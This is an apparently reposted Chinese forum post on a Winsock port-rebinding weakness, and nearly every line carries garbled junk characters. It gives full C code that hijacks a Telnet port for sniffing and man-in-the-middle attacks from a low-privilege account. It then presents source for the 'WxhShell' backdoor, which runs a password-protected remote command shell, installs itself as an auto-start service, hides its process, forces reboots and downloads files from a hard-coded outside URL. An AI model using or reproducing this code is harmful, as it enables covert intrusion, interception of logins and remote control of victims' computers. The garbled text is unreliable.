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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: |l$ u<3  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f KHse$?_  
M' YJ"  
  saddr.sin_family = AF_INET; I`3d;l;d  
kw3 +>{\  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h:_NA  
{QMN=O&n  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); JXL'\De ;  
m!;G/s*  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ;>5,  
,|A{!j`  
  这意味着什么?意味着可以进行如下的攻击: t]4!{~,  
J, r Xx:  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 (VEp~BW@-R  
rJX\6{V!_  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) !F-sA: xq  
_;#9!"&  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 2av*o~|J*:  
Zct!/u9 Q  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  sSNCosb  
9Kx<\)-GMD  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 0Lx3]"v  
X`D+jiQ(f  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 \d:h$  
PFm\[2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 )}q uw"H  
,2,W^HJ  
  #include j|k @MfA  
  #include O hi D  
  #include +3)[> {~1Z  
  #include    i]dz}=j'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   IEc>.J|T&  
  int main() 4aA9\\hfGY  
  { moaodmt]x  
  WORD wVersionRequested; Wy8,<K{  
  DWORD ret; 1c / X  
  WSADATA wsaData; p+vh[+yp  
  BOOL val; C>NQ-w^  
  SOCKADDR_IN saddr; RN vQ  
  SOCKADDR_IN scaddr; D@:"f?K>  
  int err; j!7Qw 8  
  SOCKET s; ZRPE-l_3:  
  SOCKET sc; my4\mi6P  
  int caddsize; $ 3]b>v  
  HANDLE mt; tGC2 ^a#~  
  DWORD tid;   brfKd]i  
  wVersionRequested = MAKEWORD( 2, 2 ); Ms,@t^nk  
  err = WSAStartup( wVersionRequested, &wsaData ); ETe-  
  if ( err != 0 ) { "U*5Z:8?9  
  printf("error!WSAStartup failed!\n"); ' Wtf>`  
  return -1; I ld7}R  
  } [t$4Tdd  
  saddr.sin_family = AF_INET; ,&[7u9@  
   VE*j*U j  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 _!%M%  
V!W1fb7V  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); (2d3jQN`  
  saddr.sin_port = htons(23); Hxn<(gd G  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) yZ5 x8 8>  
  { W~<m[#:6C  
  printf("error!socket failed!\n"); R2CQXhiJ  
  return -1; qrpb[)Ll  
  } f0u56I9  
  val = TRUE; &u=8r*  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 BW>5?0E[4(  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SD^E7W$?  
  { "9%q bM B  
  printf("error!setsockopt failed!\n"); z,avQR&  
  return -1; "1K:/n  
  } #cO+<1  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;  `Klrr  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 LJj=]_  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 x^X$M$o,l  
mbGcDG[HQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) g#|oi f9o  
  { s%^o*LQ|9  
  ret=GetLastError(); (![t_r0  
  printf("error!bind failed!\n");   Y<aO  
  return -1; o)p[ C   
  } gJKKR]4*  
  listen(s,2); u0g*O]Y  
  while(1) %Lyz_2q A  
  { /LF3O~Go  
  caddsize = sizeof(scaddr); C 0>=x{,v  
  //接受连接请求 fx]eDA|$e  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); nc&Jmo7  
  if(sc!=INVALID_SOCKET) OT;cfkf7  
  { -zTEL (r  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); BJgDo  
  if(mt==NULL) E23w *']  
  { NHAH#7]M&1  
  printf("Thread Creat Failed!\n"); {\L|s5=yr  
  break; @C=M UT-!  
  } 9qre|AA  
  } v&r=-}z2!  
  CloseHandle(mt); i5VG2S  
  } 06jMj26!  
  closesocket(s); GQ[pG{ _+  
  WSACleanup(); uOre,AQR  
  return 0; ik IzhUWE  
  }   /BT1oWi1y  
  DWORD WINAPI ClientThread(LPVOID lpParam) =U c$D*  
  { -;U3w.-  
  SOCKET ss = (SOCKET)lpParam; EX+,:l\^  
  SOCKET sc; gB >pd?d  
  unsigned char buf[4096]; H]]c9`ayt  
  SOCKADDR_IN saddr; ~z`/9 ;  
  long num; 5 < GDW=  
  DWORD val; *i@T!O(1)M  
  DWORD ret; jq[x DwPG  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ;NP[_2|-,  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c.0]1  
  saddr.sin_family = AF_INET; B=dseeG[To  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); xW\,KSK  
  saddr.sin_port = htons(23); vK:QX$b  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) T .hb#oO  
  { tt{`\1q  
  printf("error!socket failed!\n"); C\A49q  
  return -1; ,T{oy:rB  
  } -X8eabb  
  val = 100; EHhd;,;O  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) jtCZfFD?  
  { )88nMH-  
  ret = GetLastError(); vhpvO >Q  
  return -1; 0bSz4<}  
  } e#khl9j*bt  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wcn[gn<  
  { [ f34a  
  ret = GetLastError(); ^K;hn,R=  
  return -1; "H?QqrKx  
  } +Vy_9I(4Z  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v?)SA];  
  { r[!(?%>j  
  printf("error!socket connect failed!\n"); uREu2T2  
  closesocket(sc); /PW&$P1.]"  
  closesocket(ss); Egf^H>,.M  
  return -1; {R8=}Qo  
  } !F$R+A+L  
  while(1) ^yJ:+m;6K  
  { />F.Nsujy  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Hk9U&j$  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 T>F9Hs  W  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 /WYh[XKe  
  num = recv(ss,buf,4096,0); dhtb?n{  
  if(num>0) 1a8$f5  
  send(sc,buf,num,0); 5r7h=[N  
  else if(num==0) $H;+}VQ  
  break; L=g_@b   
  num = recv(sc,buf,4096,0); ^/a*.cu  
  if(num>0) m|1n x  
  send(ss,buf,num,0); 2yxi= XWZ  
  else if(num==0) VDpxk$a  
  break; DEtf(lW_  
  } RHI&j~  
  closesocket(ss); 3\+N`!  
  closesocket(sc); N,|r1u9X#  
  return 0 ; A?,A( -0C  
  } xqv[? ?  
.Q[yD<)Ubs  
F. T@)7  
========================================================== )5GQJiY  
1.0J2nZpt  
下边附上一个代码,,WXhSHELL { i;6vRr  
Vhph`[dC{  
========================================================== =<.F3lo\s  
D:m#d.m  
#include "stdafx.h" 'HB~Dbq`V  
+*.1}r&  
#include <stdio.h> 0Cq!\nzz  
#include <string.h> 75AslL?t  
#include <windows.h> 61|B]ei/  
#include <winsock2.h> FW Y[=S  
#include <winsvc.h> JJ-i_5\q  
#include <urlmon.h> U|?,N0%Z1  
tT-=hDw  
#pragma comment (lib, "Ws2_32.lib") L[]BzsIv  
#pragma comment (lib, "urlmon.lib") -_|]N/v\  
oIxH3T  
#define MAX_USER   100 // 最大客户端连接数 x8/us  
#define BUF_SOCK   200 // sock buffer O^NP0E  
#define KEY_BUFF   255 // 输入 buffer WK4@:k m6)  
\O? u*  
#define REBOOT     0   // 重启 -)RJ\V^{9  
#define SHUTDOWN   1   // 关机 ]]/lC  
}e2F{pQ  
#define DEF_PORT   5000 // 监听端口 WsB3SFNG  
^1VbH3M  
#define REG_LEN     16   // 注册表键长度 DqlK.  
#define SVC_LEN     80   // NT服务名长度 2LK]Q/WG,+  
]3+``vL  
// 从dll定义API X+at%L=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); '=#5(O%pp  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 9-93aC.|}  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Ux_<d?p  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); GX5W^//}  
xYwkFB$$*  
// wxhshell配置信息 `xIh\q  
struct WSCFG { OZT^\Ky_l  
  int ws_port;         // 监听端口 S&01SX6  
  char ws_passstr[REG_LEN]; // 口令 `Cg^in\  
  int ws_autoins;       // 安装标记, 1=yes 0=no !tBeuemN%  
  char ws_regname[REG_LEN]; // 注册表键名 rS,j;8D-  
  char ws_svcname[REG_LEN]; // 服务名 74]a/'4  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 (: OHyeNt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )&z4_l8`=  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Pi){h~B>  
int ws_downexe;       // 下载执行标记, 1=yes 0=no PG"@A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =ybGb7?  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 D'n7&Y  
WW6yFriuW  
}; ~S;!T  
_:%U_U  
// default Wxhshell configuration !0Nf9  
struct WSCFG wscfg={DEF_PORT, }4vjKSV  
    "xuhuanlingzhe", =GTD"*vwr  
    1, _[JkJwPTx  
    "Wxhshell", ; 8E;  
    "Wxhshell", {MxnIg7'  
            "WxhShell Service", :'Xr/| s  
    "Wrsky Windows CmdShell Service", :x+ig5  
    "Please Input Your Password: ", <m1sSghg  
  1, e?=elN  
  "http://www.wrsky.com/wxhshell.exe", n;qz^HXEJ  
  "Wxhshell.exe" L=m:/qQL  
    }; a2X h>{  
zAI|Jv @  
// 消息定义模块 5[<F_"x  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; OpqNEo\  
char *msg_ws_prompt="\n\r? for help\n\r#>"; N8 M'0i?  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; *%?d\8d  
char *msg_ws_ext="\n\rExit."; ;dOs0/UM&  
char *msg_ws_end="\n\rQuit."; Mciq-c)  
char *msg_ws_boot="\n\rReboot..."; JCcQd 01z  
char *msg_ws_poff="\n\rShutdown..."; {,Fcd(MU  
char *msg_ws_down="\n\rSave to "; :d({dF_k;p  
Q"'V9m7 i  
char *msg_ws_err="\n\rErr!"; df ?eL2v  
char *msg_ws_ok="\n\rOK!"; OHhs y|W  
I+~bCcgPi  
char ExeFile[MAX_PATH]; eJ:Yj ~X`<  
int nUser = 0; NQR^%<hU  
HANDLE handles[MAX_USER]; pn s+y  
int OsIsNt; 1MV@5j  
!;+U_j'Pg  
SERVICE_STATUS       serviceStatus; ob]dZ  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ] R<FKJ[  
2Y;!$0_rv  
// 函数声明 Aqu]9M~  
int Install(void); 5%& ]  
int Uninstall(void); H!. ZH(asY  
int DownloadFile(char *sURL, SOCKET wsh); '=@r7g.2  
int Boot(int flag); H+R7X71{  
void HideProc(void); 5& *zY)UL  
int GetOsVer(void); QPV@'.2m  
int Wxhshell(SOCKET wsl); ~lk@6{`l|1  
void TalkWithClient(void *cs); 48k 7/w\  
int CmdShell(SOCKET sock); Vrg3{@$  
int StartFromService(void); ^Xa*lR 3  
int StartWxhshell(LPSTR lpCmdLine); 7t3X`db  
^r4|{  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _k|g@"  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 0 {,h.:  
UM`nq;>  
// 数据结构和表定义 .HCaXFW  
SERVICE_TABLE_ENTRY DispatchTable[] = R=Ymo.zs6  
{ x5PPu/  
{wscfg.ws_svcname, NTServiceMain}, /6jGt'^U  
{NULL, NULL} tIp{},bQ^  
}; <N-=fad]  
wI>h%y-%!  
// 自我安装 gWi{\x8dt  
int Install(void) G_0)oC@Jl:  
{ > R#9\/s  
  char svExeFile[MAX_PATH]; LjCykk  
  HKEY key; }`#B f  
  strcpy(svExeFile,ExeFile); j 37:  
VD9J}bgJ  
// 如果是win9x系统,修改注册表设为自启动 1P \up   
if(!OsIsNt) { l%@dE7<&#Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5/k)\`  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @T_O6TcY  
  RegCloseKey(key); -C=]n<ak  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K: 4P ;ApI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); uZ-`fcCjD  
  RegCloseKey(key); ?N(u4atC  
  return 0; \DaLHC~  
    } {vjq y&?y  
  } \3M1.Q4$Gr  
} EL"4E',  
else { ~%/'0}F  
LK{a9` h  
// 如果是NT以上系统,安装为系统服务 98=XG1sQ@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5"[y FmP*  
if (schSCManager!=0) VSx%8IM+X  
{ FGDw;lEa9[  
  SC_HANDLE schService = CreateService BJ"Ay@D*  
  ( }0vtc[!  
  schSCManager, wqf&i^_  
  wscfg.ws_svcname, tG_-;03<`4  
  wscfg.ws_svcdisp, WVinP(#nfM  
  SERVICE_ALL_ACCESS, B JU*`Tx  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9Y\F53p&j  
  SERVICE_AUTO_START, aam1tm#Q  
  SERVICE_ERROR_NORMAL, -}N Ab^d  
  svExeFile, [O [FCn  
  NULL, '8L(f w{k  
  NULL, :C> J-zY  
  NULL, o%$<LaQG5  
  NULL, =>P_mPP=  
  NULL  5=*@l  
  ); )\(lg*?:  
  if (schService!=0) 6NU8HJp  
  { )ynA:LXx  
  CloseServiceHandle(schService); 2YaTT& J  
  CloseServiceHandle(schSCManager); GCZu<,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); t;oT {Hge  
  strcat(svExeFile,wscfg.ws_svcname); )Gx": D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 2n _T2{  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); @ca#U-:g  
  RegCloseKey(key); W6)dUi :"  
  return 0; C5BzWgK  
    } G#^m<G^M  
  } an pJAB:1  
  CloseServiceHandle(schSCManager); 7=L:m7T  
} -`,~9y;tx  
} C:WtCAm(  
>aX:gN  
return 1; 3KDu!w@  
} >t2]Ssi(  
{6-;P#Q0_  
// 自我卸载 |+>%o.M&i  
int Uninstall(void) nl.~^CP  
{ S$ Ns8=  
  HKEY key; 9@kc K  
2Zv,K-G  
if(!OsIsNt) { Mr#oT?  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ScM} m  
  RegDeleteValue(key,wscfg.ws_regname); /QV [N  
  RegCloseKey(key); 'O!Z:-qE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X}_QZO=z  
  RegDeleteValue(key,wscfg.ws_regname); 8}ii3Py  
  RegCloseKey(key); p)K9 ZI  
  return 0; D!81(}p  
  } v$qpcu#o  
} bM*Pcxv  
} AM1/\R  
else { }G"r3*  
Q>cL?ie  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Xi1q]ps  
if (schSCManager!=0) 50}.Xm@,BO  
{ bjU 2UcI"<  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !&1}w86  
  if (schService!=0) a15,'v$O  
  { B]&Lh~Im  
  if(DeleteService(schService)!=0) { f hVbJU  
  CloseServiceHandle(schService); ?{y:s!!  
  CloseServiceHandle(schSCManager); tf.q~@Pi  
  return 0; olUqBQ&ol  
  } #fJ/KYJU  
  CloseServiceHandle(schService); CpBQ>!CW  
  } ~}hba3&b;#  
  CloseServiceHandle(schSCManager); ~{52JeUcP  
} !gD 3CA  
} '8]|E  
&!H~bzg  
return 1; g~bf!  
} BH.:_Qrbh[  
^bZ<9}  
// 从指定url下载文件 k~'?"'  
int DownloadFile(char *sURL, SOCKET wsh) l}U~I 3}).  
{ [)C)p*!Y)  
  HRESULT hr; c,b`N0dOKL  
char seps[]= "/"; c ,g]0S?gu  
char *token; ,3fuX~g  
char *file; UKt/0Ze  
char myURL[MAX_PATH]; ?qq!%4mTB  
char myFILE[MAX_PATH]; gxBl1  
o|b[(t$;O  
strcpy(myURL,sURL);  "@UU[o  
  token=strtok(myURL,seps); (ffOu#RQ3  
  while(token!=NULL) 9RCB$Ka6X  
  { ~Q.8 U3"  
    file=token; /j=DC9_  
  token=strtok(NULL,seps); , }xpYq_/  
  } f4 Sw,A  
1FXzAc(c!  
GetCurrentDirectory(MAX_PATH,myFILE); XcJ'm{=   
strcat(myFILE, "\\"); ,6cbD  
strcat(myFILE, file); J pCZq #  
  send(wsh,myFILE,strlen(myFILE),0); KxgR5#:i"  
send(wsh,"...",3,0); OuYE-x2]x"  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); %WJ\'@O\  
  if(hr==S_OK) pw(U< )  
return 0; \'}/&PCkr  
else j L>I5f  
return 1; N9>'/jgZX  
Jq$6$A,f  
} softfjl&l  
'.}6]l  
// 系统电源模块 yNb#Ia  
int Boot(int flag) g4.'T51  
{ {Q#Fen ;y|  
  HANDLE hToken; iuH8g  
  TOKEN_PRIVILEGES tkp; qxg7cj2  
7~%  
  if(OsIsNt) { Uy_}@50"l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); LB64W ;#h  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); W?4&lC^G  
    tkp.PrivilegeCount = 1; / %U~lr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; TQb FI;\  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); `o^;fcnG  
if(flag==REBOOT) { D x >1y  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) T9XW%/n  
  return 0; mBD!:V'  
} y(wqcDok|n  
else { lO5gkOJ?  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Y9I #Q  
  return 0; b;~EJ  
} C[87f-g  
  } E&T'U2  
  else { j 44bF/  
if(flag==REBOOT) { nIN%<3U2  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YiQeI|{oN  
  return 0; 0.{oA`5N  
} FRJ:ym=E  
else { #P,[fgNy  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) }77=<N br  
  return 0; `pv89aO  
} mw4'z,1Q  
} tl,x@['p`  
F~d7;x =g  
return 1; 2A18hP`^  
} LK-K_!F  
/Mi-lh^j-  
// win9x进程隐藏模块 9B?t3:  
void HideProc(void) GqK&'c   
{ G,mH!lSm,  
;5JIY7t  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); }TAGr 0  
  if ( hKernel != NULL ) )2^/?jK  
  { 8ZDqqz^C0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 0u&?Zy9&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); uYFcq  
    FreeLibrary(hKernel); T0]%(F/8  
  } D=I5[t0c4  
;]#4p8lh+  
return; ;o)`9<es!2  
} A86lyBDQ*  
ZjI/zqBm  
// 获取操作系统版本 f)s_e  
int GetOsVer(void) {p lmFV  
{ Q\/":ISq1  
  OSVERSIONINFO winfo; V[M$o  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =ZJ?xA8  
  GetVersionEx(&winfo); U~B}vt  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) =Gg)GSL^  
  return 1; 2I(@aB+  
  else MIXrLh3  
  return 0; I?B,rT3 h  
} pTV@nP  
&T{B~i3w8  
// 客户端句柄模块 R82Zr@_  
int Wxhshell(SOCKET wsl) *O}'2Ht6\  
{ M]/wei"X  
  SOCKET wsh; V]S06>P  
  struct sockaddr_in client; G4J6  
  DWORD myID; OTtanJ?  
YI\Cs=T/  
  while(nUser<MAX_USER) 1n5e^'z  
{ p7=^m>Z6  
  int nSize=sizeof(client); [, szx1  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); t[yD8h  
  if(wsh==INVALID_SOCKET) return 1; ;x0KaFk  
H7XxME  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +Tc(z{;  
if(handles[nUser]==0) <"|<)BGeI  
  closesocket(wsh); {msB+n~WZ  
else "a`0w9Mm}  
  nUser++; E#X!*q&  
  } WSB|-Qj}W  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); M(]|}%  
n)?F 9Wap  
  return 0; o? xR[N-J  
} bHH}x"d[x  
WZ V*J&  
// 关闭 socket .=w`T #L  
void CloseIt(SOCKET wsh) 1eR{~ ,  
{ aFc'_FrQ  
closesocket(wsh); ]O(HZD%  
nUser--; S?z j&X Y3  
ExitThread(0); q@"4Rbu6  
} "YvBb:Z>  
G C#95  
// 客户端请求句柄 S0QU@e  
void TalkWithClient(void *cs) & I'F-F;  
{ xfV2/A#h  
Yw1q2jT  
  SOCKET wsh=(SOCKET)cs; P}u<NPy3Q  
  char pwd[SVC_LEN]; 4hr+GO@o(  
  char cmd[KEY_BUFF]; B>nd9Z '  
char chr[1]; `3s-%>  
int i,j; *x` l1o  
C5z  
  while (nUser < MAX_USER) { I$qtfGr  
McI4oD~"  
if(wscfg.ws_passstr) { {]m e?I  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -a^sX%|Bl  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4a-F4j'  
  //ZeroMemory(pwd,KEY_BUFF); e5\1k#@  
      i=0; #Q)w$WR  
  while(i<SVC_LEN) { M@z/ gy^  
Hx/Vm`pRyX  
  // 设置超时 0QSi\: 1f  
  fd_set FdRead; !-o||rt  
  struct timeval TimeOut; &CsBG?@Z|  
  FD_ZERO(&FdRead); kK6>>lD'  
  FD_SET(wsh,&FdRead); qhGhUyNX  
  TimeOut.tv_sec=8; DG9;6"HBX  
  TimeOut.tv_usec=0; 0<Y&2<v  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?#y<^oNM  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [5#/& k{  
{7szo`U2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x@\'@>_GM  
  pwd=chr[0]; G8c}re   
  if(chr[0]==0xd || chr[0]==0xa) { }pZnWK+  
  pwd=0; NOr*+N\  
  break; -Z& {$J  
  } +|w~j#j9`  
  i++; mZ&Mj.0+~  
    } _4#psxl[M  
39m"}26*E  
  // 如果是非法用户,关闭 socket Z#V\[  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DL Q`<aU  
} }XE/5S}D  
Y]Nab0R&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PvCE}bY{}  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v2z/|sG  
1pr_d"#4  
while(1) { KT?s\w  
x%7x^]$  
  ZeroMemory(cmd,KEY_BUFF); f6C+2L+Hr  
Re ur#K  
      // 自动支持客户端 telnet标准   bL[W.O0  
  j=0; W8rn8Rh  
  while(j<KEY_BUFF) { *==nOO9G  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'V{k$}P2  
  cmd[j]=chr[0]; cuk}VZ  
  if(chr[0]==0xa || chr[0]==0xd) { AUpC HG7  
  cmd[j]=0; At|tk  
  break; ~ ?_Z!eS  
  } t$5]1dY$X  
  j++; U,(+rMeY0  
    } #iU/Yg!  
WU@,1.F:  
  // 下载文件 wZb@VG}%  
  if(strstr(cmd,"http://")) { a6#PZ!1  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^aoLry&i=  
  if(DownloadFile(cmd,wsh)) 6Ky"4\e  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W5;sps  
  else fJV VW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u^[v{hv'H  
  } a'~y'6  
  else { :!\./z8v  
'gH#\he[Dh  
    switch(cmd[0]) { ikiy>W8  
  $KFWV2P  
  // 帮助 uV:;y}T^Z  
  case '?': { p7tC~]r:L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); D:,<9%A  
    break; j!H?dnE||  
  } 6&T1 ZY`  
  // 安装 #XPU$=  
  case 'i': { #| Po&yu4R  
    if(Install()) +rX,Sl`/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X y<KvFy  
    else %;J`dM  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ".Ug A\0  
    break; wQ.zj`?$(  
    } Zt=X %M|aw  
  // 卸载 9q{dRS[A  
  case 'r': { )Me&xQTn  
    if(Uninstall()) p}z0(lQ*~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u'> CU  
    else 1 j8,Zrg1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,:,|A/U  
    break; 0w]?yqnE  
    } B!anY}/U  
  // 显示 wxhshell 所在路径 2kve?/  
  case 'p': { \59hW%Di  
    char svExeFile[MAX_PATH]; u] b6>  
    strcpy(svExeFile,"\n\r"); ;_ton?bF  
      strcat(svExeFile,ExeFile); XrF9*>ti?  
        send(wsh,svExeFile,strlen(svExeFile),0); P.7B]&T6  
    break; lU& IS?^?  
    } iiscm\  
  // 重启 S3f BZIPp  
  case 'b': { )-oNy-YL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 3 Gkw.  
    if(Boot(REBOOT)) bcfOp A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]CYe=m1<2Q  
    else { / [M~##%:  
    closesocket(wsh); Rz]bCiD3 B  
    ExitThread(0); -9EbU7>!  
    } m|[ Hhw=f  
    break; |/$#G0X;H  
    } 3u<2~!sR  
  // 关机 cs)hq4-L`  
  case 'd': { 2]wh1)  
